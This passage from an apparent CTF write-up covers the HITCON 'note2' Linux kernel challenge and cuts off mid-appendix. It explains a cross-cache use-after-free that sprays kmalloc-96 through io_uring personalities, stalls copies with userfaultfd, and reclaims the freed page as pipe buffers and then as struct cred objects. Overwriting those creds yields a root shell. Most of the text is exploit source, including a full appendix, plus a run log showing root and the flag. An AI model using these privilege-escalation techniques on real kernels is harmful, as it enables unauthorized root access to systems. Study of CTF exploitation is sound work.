case CC_FILL_VICTIM_PAGE: + return fill_victim_page(cc); + case CC_EMPTY_VICTIM_PAGE: + return empty_victim_page(cc); + case CC_OVERFLOW_PARTIAL_LIST: + return overflow_partial_list(cc); + default: + return 0; + } +} + +struct cross_cache *cc_init(uint32_t objs_per_slab, + uint32_t cpu_partial, + void *allocate_fptr, + void *free_fptr) +{ + struct cross_cache *cc = malloc(sizeof(struct cross_cache)); + if (!cc) + { + perror("init_cross_cache:malloc\n"); + return NULL; + } + cc->objs_per_slab = objs_per_slab; + cc->cpu_partial = cpu_partial; + cc->free = free_fptr; + cc->allocate = allocate_fptr; + cc->phase = CC_RESERVE_PARTIAL_LIST; + + uint32_t n_overflow = objs_per_slab * (cpu_partial + 1) * CC_OVERFLOW_FACTOR; + uint32_t n_previctim = objs_per_slab - 1; + uint32_t n_postvictim = objs_per_slab + 1; + + cc->overflow_objs = malloc(sizeof(int64_t) * n_overflow); + cc->pre_victim_objs = malloc(sizeof(int64_t) * n_previctim); + cc->post_victim_objs = malloc(sizeof(int64_t) * n_postvictim); + + return cc; +} +``` + +And then qua integration in the exploit: + +```c +int main() +{ + kmalloc96_cc = cc_init(OBJS_PER_SLAB, CPU_PARTIAL, cc_alloc_kmalloc96, cc_free_kmalloc96); + //[...] + /* allocate a bunch of kmalloc96 objects, so the next one we allocate will fall into our "victim page" */ + cc_next(kmalloc96_cc); + cc_next(kmalloc96_cc); + note_add(mem, 96); + + /* also fill up the victim page */ + cc_next(kmalloc96_cc); + //[...] +} + +static void *userfault_thread(void *arg) +{ + cc_next(kmalloc96_cc); /* free surrounding objects*/ + cc_next(kmalloc96_cc); /* fill up partial lists */ + + /* sleep for rcu*/ + usleep(200000); + + /* free backing buffer in kmalloc-96 and release its slab back to the page allocator. */ + note_del(0); + //[...] +} +``` + +for `cc_alloc_kmalloc96` and `cc_free_kmalloc96` i used a nice primitive in `io_uring` that allows for spraying an unlimited amount of objects in `kmalloc-96`: + +```c +int uring_spray_fd; + +static int64_t cc_alloc_kmalloc96() +{ + /* This will allocate a io uring identity in kmalloc-96. It can be repeated an arbitrary amount of times for a single uring instance. */ + int res = syscall(SYS_io_uring_register, uring_spray_fd, IORING_REGISTER_PERSONALITY, 0, 0); + if (res < 0) + fatal("alloc: io_uring_register() failed"); + + return res; +} + +static void cc_free_kmalloc96(int64_t personality) +{ + if (syscall(SYS_io_uring_register, uring_spray_fd, IORING_UNREGISTER_PERSONALITY, 0, personality) < 0) + fatal("free: io_uring_register() failed"); +} +``` + +Which corresponds to the following kernel code: +```c +static int io_register_personality(struct io_ring_ctx *ctx) +{ + struct io_identity *iod; + u32 id; + int ret; + + iod = kmalloc(sizeof(*iod), GFP_KERNEL); /* sizeof (*iod) == 72 -> kmalloc-96 */ + if (unlikely(!iod)) + return -ENOMEM; + + io_init_identity(iod); + iod->creds = get_current_cred(); + + ret = xa_alloc_cyclic(&ctx->personalities, &id, (void *)iod, + XA_LIMIT(0, USHRT_MAX), &ctx->pers_next, GFP_KERNEL); + if (ret < 0) { + put_cred(iod->creds); + kfree(iod); + return ret; + } + return id; +} +``` + +Then, to reallocate the slab as the backing buffer for a pipe, and subsequently read it out again: + +```c +static void *userfault_thread(void *arg) +{ + //[...] + /* Reallocate freed kmalloc-96 slab as a pipe page. */ + uint64_t dummy_buf[0x1000 / 8] = {}; + for (size_t i = 0; i < ARRAY_SIZE(pipes); i++) + if (write(pipes[i].write, dummy_buf, 0x1000) < 0) + fatal("write() to pipe failed"); + + /* unblock to trigger memcpy(). */ + size_t copied_size = 0; + ufd_unblock_page_copy((void *)blockers[0].arg.pagefault.address, scratch, &copied_size); + + usleep(200000); + uint64_t cookie = 0, cookie_idx = 0; + size_t pipe_idx; + for (pipe_idx = 0; pipe_idx < ARRAY_SIZE(pipes); pipe_idx++) { + /* kmalloc-96 is not naturally aligned to PAGESIZE, so we can read this all without worrying + * about prematurely freeing our page. */ + for (size_t i = 0; i < 42; i++) { + uint64_t chunk[0x0c]; + + if (read(pipes[pipe_idx].read, &chunk, 96) <= 0) + fatal("read() from pipe failed"); + + uint64_t potential_cookie = chunk[0]; + + printf("%.16lx\n", potential_cookie); + if (!cookie && potential_cookie) { + cookie = potential_cookie; + cookie_idx = i; + } + } + + if (cookie) { + break; + } + } + + if (cookie) { + + /* If we didn't land on a cred boundary, bail out. We'd crash anyway. */ + if ((cookie_idx * 96) % 192 != 0) { + /* make the memcpy() just write into our controlled pipe page again, so no harm is done. */ + ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size); + fatal("UaF object was not aligned to 192 bytes. Try again.."); + } + + /* Before releasing the page again, we empty the cred freelist + * so any new cred allocations will get a new slab */ + alloc_n_creds(uring_cred_dumps[0], 0x4000); + + /* Release page*/ + close(pipes[pipe_idx].read); + close(pipes[pipe_idx].write); + } else { + /* this error path is a bit problematic, we don't know where the write went.. + * still, it's better to get the other write over with now. + */ + ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size); + fatal("cross-cache failed. Try again.."); + } + + printf("pipe %ld, offset +0x%.4lx: cookie %.16lx\n", pipe_idx, cookie_idx * 96, cookie); + //[...] +} +``` + +Note that we can also observe the offset of the object inside of the page now by tracking how much we've read from the pipe! This is important, because now we can determine whether our UaF buffer is aligned to 192 bytes or not. If this is not the case, we'll have to exit early, because even reallocating as a struct cred, we'd end up with bad alignment that'd leave us unable to overwrite the juicy cred fields. This is actually fine, because we can just retry the exploit up until this part until we get favorable alignment. + +If the offset is favorable, we can now proceed by closing the pipe and thereby releasing the pipe back to the page allocator. Now we can reallocate this page as a `struct cred` slab! I found a nice way to spray `struct cred`s in a targeted way using the `capset` syscall: + +```c +SYSCALL_DEFINE2(capset, cap_user_header_t, header, const cap_user_data_t, data) +{ + struct __user_cap_data_struct kdata[_KERNEL_CAPABILITY_U32S]; + unsigned i, tocopy, copybytes; + kernel_cap_t inheritable, permitted, effective; + struct cred *new; + int ret; + pid_t pid; + + ret = cap_validate_magic(header, &tocopy); + if (ret != 0) + return ret; + + if (get_user(pid, &header->pid)) + return -EFAULT; + + /* may only affect current now */ + if (pid != 0 && pid != task_pid_vnr(current)) + return -EPERM; + + copybytes = tocopy * sizeof(struct __user_cap_data_struct); + if (copybytes > sizeof(kdata)) + return -EFAULT; + + if (copy_from_user(&kdata, data, copybytes)) + return -EFAULT; + + for (i = 0; i < tocopy; i++) { + effective.cap[i] = kdata[i].effective; + permitted.cap[i] = kdata[i].permitted; + inheritable.cap[i] = kdata[i].inheritable; + } + while (i < _KERNEL_CAPABILITY_U32S) { + effective.cap[i] = 0; + permitted.cap[i] = 0; + inheritable.cap[i] = 0; + i++; + } + + effective.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK; + permitted.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK; + inheritable.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK; + + new = prepare_creds(); + if (!new) + return -ENOMEM; + + ret = security_capset(new, current_cred(), + &effective, &inheritable, &permitted); + if (ret < 0) + goto error; + + audit_log_capset(new, current_cred()); + + return commit_creds(new); + +error: + abort_creds(new); + return ret; +} +``` + +`new = prepare_creds()` will allocate a new `struct cred` and `return commit_creds(new)` will replace our current task its cred with `new_cred`. To prevent the old cred from being freed, we can actually reuse the `io_uring` primitive we used for spraying kmalloc-96! + +```c +static int io_register_personality(struct io_ring_ctx *ctx) +{ + struct io_identity *iod; + u32 id; + int ret; + + iod = kmalloc(sizeof(*iod), GFP_KERNEL); /* sizeof (*iod) == 72 -> kmalloc-96 */ + if (unlikely(!iod)) + return -ENOMEM; + + io_init_identity(iod); + iod->creds = get_current_cred(); + + ret = xa_alloc_cyclic(&ctx->personalities, &id, (void *)iod, + XA_LIMIT(0, USHRT_MAX), &ctx->pers_next, GFP_KERNEL); + if (ret < 0) { + put_cred(iod->creds); + kfree(iod); + return ret; + } + return id; +} +``` + +`get_current_cred()` will take an extra reference to the current tasks cred and store it in the io_uring context. We can combine this with capset in the following way: + +```c +static int alloc_n_creds(int uring_fd, size_t n_creds) +{ + for (size_t i = 0; i < n_creds; i++) { + struct __user_cap_header_struct cap_hdr = { + .pid = 0, + .version = _LINUX_CAPABILITY_VERSION_3 + }; + + struct user_cap_data_struct cap_data[2] = { + {.effective = 0, .inheritable = 0, .permitted = 0}, + {.effective = 0, .inheritable = 0, .permitted = 0} + }; + + /* allocate new cred */ + if (syscall(SYS_capset, &cap_hdr, (void *)cap_data)) + fatal("capset() failed"); + + /* increment refcount so we don't free it afterwards*/ + if (syscall(SYS_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, 0, 0) < 0) + fatal("io_uring_register() failed"); + } +} +``` + +Before freeing the pipe page again, you might have already noticed the call to `alloc_n_creds(uring_creds_dump[0], 0x4000)`. We do this while the page is still in use to exhaust all the freelists (both cpu partial lists and per slab freelists) for the `struct cred` cache. This way, we can be quite certain that new `struct cred` allocations will immediately cause a new slab to be allocated from the page allocator directly. + +The remaining part of the exploit is short and sweet: + +```c +static void *userfault_thread(void *arg) +{ + //[...] + printf("pipe %ld, offset +0x%.4lx: cookie %.16lx\n", pipe_idx, cookie_idx * 96, cookie); + + /* Pre-allocate struct creds to reclaim the page. + * Free them immediately afterwards so we can reallocate them for tasks. */ + alloc_n_creds(uring_cred_dumps[1], 32); + close(uring_cred_dumps[1]); + + /* wait for rcu to finish so creds are actually freed. */ + usleep(200000); + + struct pipe_pair child_comm; + pipe(child_comm.__raw); + + /* realloc creds, now belong to child tasks */ + for (size_t i = 0; i < 32 * 2; i++) { + + if (fork()) + continue; + + sleep(2); + uid_t uid = getuid(); + printf("uid: %d\n", uid); + if (!uid) { + char dummy[8]; + write(child_comm.write, &dummy, sizeof dummy); + system("sh"); + } + + exit(0); + + } + + sleep(1); + + struct kernel_cred *cred = (void*)scratch; + + cred->usage = 1; + cred->uid = cred->euid = cred->fsuid = 0; + cred->gid = cred->egid = cred->fsgid = 0; + cred->securebits = 0; /* SECUREBITS_DEFAULT */ + cred->cap_effective = cred->cap_permitted = cred->cap_inheritable = cred->cap_bset = 0x1fffffffful; + cred->cap_ambient = 0; + + for (size_t i = 0; i < 96 / 8; i++) + scratch[i] ^= cookie; + + ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size); + + struct pollfd poller[] = { {.events = POLLIN, .fd = child_comm.read}}; + + if (poll(poller, 1, 3000) != 1) + fatal("Could not overwrite struct cred. Try again.."); + + sleep(10000); + return NULL; +} +``` + +We call `alloc_n_creds(uring_cred_dumps[1], 32)` to alloc 32 new `struct cred`s that will hopefully cause the page to be reallocated as a `struct cred` slab. Afterwards, we free all of them, and allocate a bunch of child processes. The cred allocations will be reused for their creds, after which point we can trigger the UaF write again and overwrite the creds to give us root! Each child process can then check their uid via `getuid()` and give us a root shell in case it returns `0`. + +*Note bene: Technically the parent task could also have had its cred overwritten, so I should have checked there as well. */ + +The exploit completes in a few seconds and is quite reliable (though I could have done a few more optimizations!) The exploit will succeed about 50% of the time due to the alignment problem, but can be reran as it won't cause a crash. + +``` +~ $ ./pwn +[+] rlimit 7 increased to 4096userfaultfd initialized +[+] got userfault block 0 (addr 00007f8a4d7ab000) +[+] got userfault block 1 (addr 00007f8a4d7ac000) +unblocking 0x7f8a4d7ab000 (copying 0x1000 bytes from 0x7f8a4d7a9000)[+] note_edit() succeeded +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +529d1fb9167cb1a3 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +0000000000000000 +pipe 0, offset +0x0240: cookie 529d1fb9167cb1a3 +unblocking 0x7f8a4d7ac000 (copying 0x1000 bytes from 0x7f8a4d7a9000)done +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 0 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +uid: 1000 +/home/note # id +uid=0(root) gid=0 groups=1000 +/home/note # cat /root/flag +hitcon{R4c3_Bl0ck_Bl0ck_Bl0ck_70_r00t} +``` +--- + +## Appendix: full exploit + +```c +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* musl is stupid btw */ +#undef NGROUPS_MAX +#undef _IOC +#undef _IO +#undef _IOR +#undef _IOW +#undef _IOWR + +#include + +#define CC_OVERFLOW_FACTOR 8 +enum { + CC_RESERVE_PARTIAL_LIST = 0, + CC_ALLOC_VICTIM_PAGE, + CC_FILL_VICTIM_PAGE, + CC_EMPTY_VICTIM_PAGE, + CC_OVERFLOW_PARTIAL_LIST +}; + +struct cross_cache +{ + uint32_t objs_per_slab; + uint32_t cpu_partial; + struct + { + int64_t *overflow_objs; + int64_t *pre_victim_objs; + int64_t *post_victim_objs; + }; + uint8_t phase; + int (*allocate)(); + int (*free)(int64_t); +}; + +#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0])) +// n must be a power of 2 +#define ALIGN(x, n) ((x) + (-(x) & ((n)-1))) + +#define CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; + +#define IOC_MAGIC '\xFF' + +#define IO_ADD _IOWR(IOC_MAGIC, 0, struct ioctl_arg) +#define IO_EDIT _IOWR(IOC_MAGIC, 1, struct ioctl_arg) +#define IO_SHOW _IOWR(IOC_MAGIC, 2, struct ioctl_arg) +#define IO_DEL _IOWR(IOC_MAGIC, 3, struct ioctl_arg) + +struct ioctl_arg +{ + uint64_t idx; + uint64_t size; + uint64_t addr; +}; + +static noreturn void fatal(const char *msg) +{ + perror(msg); + exit(EXIT_FAILURE); +} + +static int userfault_fd; +static void *userfault_page; + +static pthread_t userfault_pthread; + +static int note_fd; + +static struct cross_cache *kmalloc96_cc; +size_t n_queues; + +struct kernel_cred { + uint32_t usage; + uint32_t uid; + uint32_t gid; + uint32_t suid; + uint32_t sgid; + uint32_t euid; + uint32_t egid; + uint32_t fsuid; + uint32_t fsgid; + uint32_t securebits; + uint64_t cap_inheritable; + uint64_t cap_permitted; + uint64_t cap_effective; + uint64_t cap_bset; + uint64_t cap_ambient; + /* ... not relevant*/ +}; + +struct pipe_pair { + union { + struct { + int read; + int write; + }; + int __raw[2]; + }; +}; + +struct user_cap_data_struct { + uint32_t effective; + uint32_t permitted; + uint32_t inheritable; +}; + +/* cross-cache stuff */ + +static inline int64_t cc_allocate(struct cross_cache *cc, + int64_t *repo, + uint32_t to_alloc) +{ + for (uint32_t i = 0; i < to_alloc; i++) + { + int64_t ref = cc->allocate(); + if (ref == -1) + return -1; + repo[i] = ref; + } + return 0; +} + +static inline int64_t cc_free(struct cross_cache *cc, + int64_t *repo, + uint32_t to_free, + bool per_slab) +{ + for (uint32_t i = 0; i < to_free; i++) + { + if (per_slab && (i % (cc->objs_per_slab - 1) == 0)) + continue; + else + { + if (repo[i] == -1) + continue; + cc->free(repo[i]); + repo[i] = -1; + } + } + return 0; +} + +/* + * Reserve enough objects to later overflow the per-cpu partial list */ +static inline int64_t reserve_partial_list_amount(struct cross_cache *cc) +{ + uint32_t to_alloc = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR; + cc_allocate(cc, cc->overflow_objs, to_alloc); + return 0; +} + +static inline int64_t allocate_victim_page(struct cross_cache *cc) +{ + uint32_t to_alloc = cc->objs_per_slab - 1; + cc_allocate(cc, cc->pre_victim_objs, to_alloc); + return 0; +} + +static inline int64_t fill_victim_page(struct cross_cache *cc) +{ + uint32_t to_alloc = cc->objs_per_slab + 1; + cc_allocate(cc, cc->post_victim_objs, to_alloc); + return 0; +} + +static inline int64_t empty_victim_page(struct cross_cache *cc) +{ + uint32_t to_free = cc->objs_per_slab - 1; + cc_free(cc, cc->pre_victim_objs, to_free, false); + to_free = cc->objs_per_slab + 1; + cc_free(cc, cc->post_victim_objs, to_free, false); + return 0; +} + +static inline int64_t overflow_partial_list(struct cross_cache *cc) +{ + uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR; + cc_free(cc, cc->overflow_objs, to_free, true); + return 0; +} + +static inline int64_t free_all(struct cross_cache *cc) +{ + uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1); + cc_free(cc, cc->overflow_objs, to_free, false); + empty_victim_page(cc); + + return 0; +} + +int64_t cc_next(struct cross_cache *cc) +{ + switch (cc->phase++) + { + case CC_RESERVE_PARTIAL_LIST: + return reserve_partial_list_amount(cc); + case CC_ALLOC_VICTIM_PAGE: + return allocate_victim_page(cc); + case CC_FILL_VICTIM_PAGE: + return fill_victim_page(cc); + case CC_EMPTY_VICTIM_PAGE: + return empty_victim_page(cc); + case CC_OVERFLOW_PARTIAL_LIST: + return overflow_partial_list(cc); + default: + return 0; + } +} + +void cc_deinit(struct cross_cache *cc) +{ + free_all(cc); + free(cc->overflow_objs); + free(cc->pre_victim_objs); + free(cc->post_victim_objs); + free(cc); +} + +struct cross_cache *cc_init(uint32_t objs_per_slab, + uint32_t cpu_partial, + void *allocate_fptr, + void *free_fptr) +{ + struct cross_cache *cc = malloc(sizeof(struct cross_cache)); + if (!cc) + { + perror("init_cross_cache:malloc\n"); + return NULL; + } + cc->objs_per_slab = objs_per_slab; + cc->cpu_partial = cpu_partial; + cc->free = free_fptr; + cc->allocate = allocate_fptr; + cc->phase = CC_RESERVE_PARTIAL_LIST; + + uint32_t n_overflow = objs_per_slab * (cpu_partial + 1) * CC_OVERFLOW_FACTOR; + uint32_t n_previctim = objs_per_slab - 1; + uint32_t n_postvictim = objs_per_slab + 1; + + cc->overflow_objs = malloc(sizeof(int64_t) * n_overflow); + cc->pre_victim_objs = malloc(sizeof(int64_t) * n_previctim); + cc->post_victim_objs = malloc(sizeof(int64_t) * n_postvictim); + + return cc; +} + +static inline int pin_cpu(int cpu) +{ + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(cpu, &cpuset); + return sched_setaffinity(0, sizeof cpuset, &cpuset); +} + +static int rlimit_increase(int rlimit) +{ + struct rlimit r; + if (getrlimit(rlimit, &r)) + fatal("rlimit_increase:getrlimit"); + + if (r.rlim_max <= r.rlim_cur) + { + printf("[+] rlimit %d remains at %.lld", rlimit, r.rlim_cur); + return 0; + } + r.rlim_cur = r.rlim_max; + int res; + if (res = setrlimit(rlimit, &r)) + fatal("rlimit_increase:setrlimit"); + else + printf("[+] rlimit %d increased to %lld", rlimit, r.rlim_max); + return res; +} + +static void note_add(const void *data, size_t size) +{ + struct ioctl_arg arg = { + .addr = (uint64_t)data, + .size = size, + }; + + if (ioctl(note_fd, IO_ADD, &arg) != 0) + { + fatal("add"); + } +} + +static void note_edit(int idx, const void *data) +{ + struct ioctl_arg arg = { + .idx = idx, + .addr = (uint64_t)data, + }; + + if (ioctl(note_fd, IO_EDIT, &arg) != 0) + { + fatal("edit"); + } +} + +static void note_show(int idx, void *data) +{ + struct ioctl_arg arg = { + .idx = idx, + .addr = (uint64_t)data, + }; + + if (ioctl(note_fd, IO_SHOW, &arg) < 0) + { + fatal("show"); + } +} + +static void note_del(int idx) +{ + struct ioctl_arg arg = { + .idx = idx, + }; + + if (ioctl(note_fd, IO_DEL, &arg) < 0) + { + fatal("del"); + } +} + +static void *thread_note_edit(void *addr) +{ + pin_cpu(0); + note_edit(0, addr); + puts("[+] note_edit() succeeded"); +} + +static int ufd_unblock_page_copy(void *unblock_page, void *content_page, size_t *copy_out) +{ + struct uffdio_copy copy = { + .dst = (uintptr_t)unblock_page, + .src = (uintptr_t)content_page, + .len = 0x1000, + .copy = (uintptr_t)copy_out, + .mode = 0}; + + printf("unblocking %p (copying 0x1000 bytes from %p)", unblock_page, content_page); + if (ioctl(userfault_fd, UFFDIO_COPY, ©)) + fatal("UFFDIO_COPY failed"); + return 0; +} + +static int sys_io_uring_setup(size_t entries, struct io_uring_params *p) +{ + return syscall(__NR_io_uring_setup, entries, p); +} + + +static int uring_create(size_t n_sqe, size_t n_cqe) +{ + struct io_uring_params p = { + .cq_entries = n_cqe, + .flags = IORING_SETUP_CQSIZE + }; + + int res = sys_io_uring_setup(n_sqe, &p); + if (res < 0) + fatal("io_uring_setup() failed"); + return res; +} + +static int alloc_n_creds(int uring_fd, size_t n_creds) +{ + for (size_t i = 0; i < n_creds; i++) { + struct __user_cap_header_struct cap_hdr = { + .pid = 0, + .version = _LINUX_CAPABILITY_VERSION_3 + }; + + struct user_cap_data_struct cap_data[2] = { + {.effective = 0, .inheritable = 0, .permitted = 0}, + {.effective = 0, .inheritable = 0, .permitted = 0} + }; + + /* allocate new cred */ + if (syscall(SYS_capset, &cap_hdr, (void *)cap_data)) + fatal("capset() failed"); + + /* increment refcount so we don't free it afterwards*/ + if (syscall(SYS_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, 0, 0) < 0) + fatal("io_uring_register() failed"); + } +} + +static void *userfault_thread(void *arg) +{ + struct uffd_msg blockers[2]; + struct uffd_msg msg; + struct uffdio_copy copy; + + uint64_t *scratch = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + + pin_cpu(0); + + for (size_t i = 0; i < 2; i++) + { + if (read(userfault_fd, &msg, sizeof(msg)) != sizeof(msg)) + { + fatal("userfault read"); + } + else if (msg.event != UFFD_EVENT_PAGEFAULT) + { + fatal("unexpected uffd event"); + } + + printf("[+] got userfault block %ld (addr %.16llx)\n", i, msg.arg.pagefault.address); + blockers[i] = msg; + } + + + struct pipe_pair pipes[16]; + for (size_t i = 0; i < ARRAY_SIZE(pipes); i++) + pipe(pipes[i].__raw); + + int uring_cred_dumps[2] = {uring_create(0x80, 0x100), uring_create(0x80, 0x100)}; + + cc_next(kmalloc96_cc); /* free surrounding objects*/ + cc_next(kmalloc96_cc); /* fill up partial lists */ + + /* sleep for rcu*/ + usleep(200000); + + note_del(0); + note_add("aaa", 2); + + /* Reallocate freed kmalloc-96 slab as a pipe page. */ + uint64_t dummy_buf[0x1000 / 8] = {}; + for (size_t i = 0; i < ARRAY_SIZE(pipes); i++) + if (write(pipes[i].write, dummy_buf, 0x1000) < 0) + fatal("write() to pipe failed"); + + /* unblock to trigger memcpy(). */ + size_t copied_size = 0; + ufd_unblock_page_copy((void *)blockers[0].arg.pagefault.address, scratch, &copied_size); + + usleep(200000); + uint64_t cookie = 0, cookie_idx = 0; + size_t pipe_idx; + for (pipe_idx = 0; pipe_idx < ARRAY_SIZE(pipes); pipe_idx++) { + /* kmalloc-96 is not naturally aligned to PAGESIZE, so we can read this all without worrying + * about prematurely freeing our page. */ + for (size_t i = 0; i < 42; i++) { + uint64_t chunk[0x0c]; + + if (read(pipes[pipe_idx].read, &chunk, 96) <= 0) + fatal("read() from pipe failed"); + + uint64_t potential_cookie = chunk[0]; + + printf("%.16lx\n", potential_cookie); + if (!cookie && potential_cookie) { + cookie = potential_cookie; + cookie_idx = i; + } + } + + if (cookie) { + break; + } + } + + if (cookie) { + + /* If we didn't land on a cred boundary, bail out. We'd crash anyway. */ + if ((cookie_idx * 96) % 192 != 0) { + /* make the memcpy() just write into our controlled pipe page again, so no harm is done. */ + ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size); + fatal("UaF object was not aligned to 192 bytes. Try again.."); + } + + /* Before releasing the page again, we empty the cred freelist + * so any new cred allocations will get a new slab */ + alloc_n_creds(uring_cred_dumps[0], 0x4000); + + /* Release page*/ + close(pipes[pipe_idx].read); + close(pipes[pipe_idx].write); + } else { + /* this error path is a bit problematic, we don't know where the write went.. + * still, it's better to get the other write over with now. + */ + ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size); + fatal("cross-cache failed. Try again.."); + } + + printf("pipe %ld, offset +0x%.4lx: cookie %.16lx\n", pipe_idx, cookie_idx * 96, cookie); + + /* Pre-allocate struct creds to reclaim the page. + * Free them immediately afterwards so we can reallocate them for tasks. */ + alloc_n_creds(uring_cred_dumps[1], 32); + close(uring_cred_dumps[1]); + + /* wait for rcu to finish so creds are actually freed. */ + usleep(200000); + + struct pipe_pair child_comm; + pipe(child_comm.__raw); + + /* realloc creds, now belong to child tasks */ + for (size_t i = 0; i < 32 * 2; i++) { + + if (fork()) + continue; + + sleep(2); + uid_t uid = getuid(); + printf("uid: %d\n", uid); + if (!uid) { + char dummy[8]; + write(child_comm.write, &dummy, sizeof dummy); + system("sh"); + } + + exit(0); + + } + + sleep(1); + + struct kernel_cred *cred = (void*)scratch; + + cred->usage = 1; + cred->uid = cred->euid = cred->fsuid = 0; + cred->gid = cred->egid = cred->fsgid = 0; + cred->securebits = 0; /* SECUREBITS_DEFAULT */ + cred->cap_effective = cred->cap_permitted = cred->cap_inheritable = cred->cap_bset = 0x1fffffffful; + cred->cap_ambient = 0; + + for (size_t i = 0; i < 96 / 8; i++) + scratch[i] ^= cookie; + + ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size); + + struct pollfd poller[] = { {.events = POLLIN, .fd = child_comm.read}}; + + if (poll(poller, 1, 3000) != 1) + fatal("Could not overwrite struct cred. Try again.."); + + sleep(10000); + return NULL; +} + +// Initialize userfaultfd. Must call this before using the other userfault_* +// functions. +static void userfaultfd_init() +{ + for (size_t i = 0; i < 2; i++) + { + userfault_fd = syscall(SYS_userfaultfd, O_CLOEXEC); + if (userfault_fd < 0) + { + fatal("userfaultfd"); + } + + userfault_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + if (userfault_page == MAP_FAILED) + { + fatal("mmap userfaultfd"); + } + + // Enable userfaultfd + struct uffdio_api api = { + .api = UFFD_API, + .features = 0, + }; + if (ioctl(userfault_fd, UFFDIO_API, &api) < 0) + { + fatal("ioctl(UFFDIO_API)"); + } + } + + pthread_create(&userfault_pthread, NULL, userfault_thread, NULL); + + puts("userfaultfd initialized"); +} + +// Register a region with userfaultfd and make it inaccessible. The region must +// be page-aligned and the size must be a multiple of the page size. +static void userfaultfd_register(void *addr, size_t len) +{ + assert(((uintptr_t)addr % 0x1000) == 0); + assert(len >= 0x1000 && len % 0x1000 == 0); + + struct uffdio_register reg = { + .range = { + .start = (uintptr_t)addr, + .len = len, + }, + .mode = UFFDIO_REGISTER_MODE_MISSING, + }; + if (ioctl(userfault_fd, UFFDIO_REGISTER, ®) < 0) + { + fatal("ioctl(UFFDIO_REGISTER)"); + } +} + +#define OBJS_PER_SLAB 32 +#define CPU_PARTIAL 30 + + +int uring_spray_fd; + +static int64_t cc_alloc_kmalloc96() +{ + /* This will allocate a io uring identity in kmalloc-96. It can be repeated an arbitrary amount of times for a single uring instance. */ + int res = syscall(SYS_io_uring_register, uring_spray_fd, IORING_REGISTER_PERSONALITY, 0, 0); + if (res < 0) + fatal("alloc: io_uring_register() failed"); + + return res; +} + +static void cc_free_kmalloc96(int64_t personality) +{ + if (syscall(SYS_io_uring_register, uring_spray_fd, IORING_UNREGISTER_PERSONALITY, 0, personality) < 0) + fatal("free: io_uring_register() failed"); +} + +int main(void) +{ + pthread_t edit_thread; + + pin_cpu(0); + rlimit_increase(RLIMIT_NOFILE); + + if ((note_fd = open("/dev/note2", O_RDWR)) < 0) + fatal("Failed to open note fd"); + + /* Free any remaining notes from a previous attempt. */ + for (size_t i = 0; i < 0x10; i++) { + struct ioctl_arg arg = { .idx = i}; + ioctl(note_fd, IO_DEL, &arg); + } + + + userfaultfd_init(); + + uint8_t *mem = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + if (mem == MAP_FAILED) + { + fatal("mmap fault memory"); + } + + uring_spray_fd = uring_create(0x80, 0x100); + kmalloc96_cc = cc_init(OBJS_PER_SLAB, CPU_PARTIAL, cc_alloc_kmalloc96, cc_free_kmalloc96); + + userfaultfd_register(mem + 0x1000, 0x2000); + + /* allocate a bunch of kmalloc96 objects, so the next one we allocate will fall into our "victim page" */ + cc_next(kmalloc96_cc); + cc_next(kmalloc96_cc); + note_add(mem, 96); + + /* also fill up the victim page */ + cc_next(kmalloc96_cc); + + pthread_create(&edit_thread, NULL, 